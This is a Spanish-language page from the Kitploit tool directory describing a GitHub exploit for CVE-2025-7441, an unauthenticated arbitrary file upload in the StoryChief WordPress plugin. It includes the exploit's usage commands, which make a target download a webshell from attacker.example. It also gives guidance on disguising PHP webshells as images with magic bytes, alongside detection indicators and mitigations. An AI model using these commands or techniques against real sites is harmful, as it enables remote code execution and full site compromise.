Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Subida arbitraria de archivos sin autenticación | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-7441
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Subida arbitraria de archivos sin autenticación

Ver Repositorio
hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-7441

StoryChief <= 1.0.42 - Subida de archivos arbitrarios no autenticada

🚨 StoryChief <= 1.0.42 — Subida de archivos arbitrarios no autenticada (CVE-2025-7441)

ℹ️ Resumen

Las versiones del plugin de WordPress StoryChief hasta la 1.0.42 inclusive exponen una vulnerabilidad crítica de subida arbitraria de archivos no autenticada a través del endpoint REST /wp-json/storychief/webhook. Un atacante puede hacer que el plugin descargue y almacene un recurso remoto controlado por el atacante (por ejemplo, un webshell) en el directorio de subidas del sitio, lo que permite la ejecución remota de código en muchas implementaciones predeterminadas de WordPress.

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (Crítico)

💥 Impacto

  • Subida remota de archivos no autenticada a wp-content/uploads/YYYY/MM/.
  • Posibilidad de ejecución remota de código cuando el archivo subido es ejecutable (p. ej., PHP).
  • Es posible el compromiso total del sitio cuando WordPress está configurado para ejecutar el PHP subido dentro de la raíz del documento.

🧩 Causa raíz de la vulnerabilidad

El plugin acepta una carga JSON entrante (evento de publicación) que contiene un campo featured_image -> data -> sizes -> full que apunta a una URL arbitraria. StoryChief no realiza una validación suficiente del tipo/contenido del archivo ni restringe el origen de la URL, lo que permite al plugin descargar el recurso remoto y guardarlo en el directorio de subidas del sitio. La validación es insuficiente para evitar el almacenamiento de archivos que contienen código ejecutable.


🛠️ Script de explotación: qué hace (correspondencia con la vulnerabilidad)

Esta sección explica el script de explotación (proporcionado por separado) a alto nivel y asigna cada comportamiento importante a la vulnerabilidad subyacente.

  • Análisis de argumentos CLI: URL de destino (-u/--url), URL del shell remoto (-shell), clave HMAC opcional, cabeceras, indicadores de proxy/timeout/reintentos, opciones de depuración y solo impresión.
  • Normalización del destino: agrega /wp-json/storychief/webhook cuando se proporciona la raíz del sitio.
  • Validación de la URL del shell: verifica que la URL remota sea accesible (HEAD/GET o curl).
  • Extracción del nombre de archivo: utiliza el nombre base de la URL remota para inferir el nombre final del archivo subido.
  • Construcción del payload: coloca la URL controlada por el atacante en data.featured_image.data.sizes.full para forzar al plugin a descargar y almacenar el archivo.
  • Firma HMAC (opcional): calcula meta.mac (HMAC-SHA256) usando una clave hexadecimal opcional; algunos servidores pueden ignorarla o requerirla.
  • Entrega: utiliza requests con reintentos/backoff o curl como respaldo; admite cabeceras personalizadas, proxies y --no-verify.
  • Manejo de la respuesta: analiza las respuestas JSON en busca de las claves permalink/id para detectar el éxito; de lo contrario, informa del fallo.
  • Salida: imprime la ruta de subida esperada: wp-content/uploads/YYYY/MM/ en caso de éxito.

🖼️ Requisitos del archivo shell (crítico)

Al usar un archivo remoto .php (por ejemplo: https://attacker.example/shell.php), el archivo debe incluir una cabecera de imagen válida (bytes mágicos) para que el plugin o el código de procesamiento de imágenes lo trate/acepte como imagen. Puntos clave:

  • Usa un enfoque políglota: el archivo debe comenzar con bytes mágicos de imagen válidos (p. ej., JPEG, PNG o GIF) para que las comprobaciones básicas y los manejadores de imágenes lo acepten, al tiempo que contiene el payload PHP en una sección que permanece en disco sin modificaciones.
  • Bytes mágicos de imagen comunes:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" or "GIF87a"
  • No te bases únicamente en el nombre/extensión del archivo. Muchos plugins inspeccionan el contenido del archivo o usan librerías (GD, ImageMagick) que verifican la integridad de la imagen.
  • Depende del entorno: algunos servidores validan o re-codifican las imágenes, lo que puede eliminar el código inyectado. Prueba primero en un laboratorio autorizado.
  • Recordatorio ético: NO publiques código de webshell funcional aquí. Crea y prueba estos archivos solo en entornos autorizados.

▶️ Cómo ejecutarlo (ejemplos)

Reemplaza los marcadores con objetivos autorizados. Todos los ejemplos siguientes usan una URL de shell remoto .php.

  • Ejemplo básico:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • Con ruta webhook explícita y depuración:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • Usar curl en lugar de requests:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • Imprimir solo el payload (no enviarlo):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

Indicadores importantes:

  • --no-verify: omitir la verificación TLS (usar con precaución).
  • --proxy: enrutar las solicitudes a través de un proxy.
  • --header "Key: Value": agregar cabeceras personalizadas.

📤 Salidas esperadas

  • Ejecución exitosa:
    • Subido: wp-content/uploads/2025/10/shell.php
  • Ejemplos de depuración:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • Mensajes de error:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 Detección e Indicadores de Compromiso (IoC)

  • Solicitudes POST inesperadas a /wp-json/storychief/webhook desde IPs desconocidas.
  • Nuevos archivos en wp-content/uploads/// con extensiones PHP o extensiones de imagen que contienen código incrustado.
  • Registros del servidor web que muestran GET salientes a dominios controlados por el atacante seguidos de acceso a los archivos subidos.
  • Archivos de imagen sospechosos con contenido no relacionado con imágenes añadido o incrustado.

🛡️ Mitigación y Remediación

A corto plazo:

  • Actualiza StoryChief a una versión parcheada inmediatamente cuando esté disponible.
  • Bloquea o restringe /wp-json/storychief/webhook mediante WAF o reglas del servidor.
  • Restringe las descargas salientes del servidor o la salida de red hacia dominios no confiables.

Orientación para desarrolladores:

  • Valida los tipos y contenidos de archivo después de cualquier descarga remota; verifica las imágenes con analizadores seguros y rechaza los archivos no válidos.
  • Exige autenticación para los webhooks que provoquen descargas o creación de archivos en el servidor.
  • Asegúrate de que la verificación de firma/HMAC esté implementada y se aplique.
  • Almacena el contenido subido fuera de la raíz web o desactiva la ejecución de archivos subidos en wp-content/uploads (reglas del servidor web).

⚠️ Limitaciones y Advertencias

  • El éxito del exploit depende de la configuración del servidor, las librerías de procesamiento de imágenes y las políticas de ejecución del servidor web.
  • Los servidores que reprocesan o re-codifican imágenes pueden eliminar los payloads inyectados.
  • Si el plugin verifica firmas, proporcionar una mac incorrecta puede provocar el rechazo.

🤝 Uso Responsable

Este documento está destinado a defensores y evaluadores autorizados. NO utilices estas técnicas contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. La explotación no autorizada es ilegal y poco ética.

Si vas a informar del problema a un proveedor o propietario del sitio, incluye detalles de reproducción, pasos de remediación seguros y correcciones sugeridas.


📚 Referencias y Créditos

  • Informe y script de explotación por: Nxploited (Khaled Alenazi) — nombre del script: CVE-2025-7441.py (proporcionado por separado)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
Descargar herramienta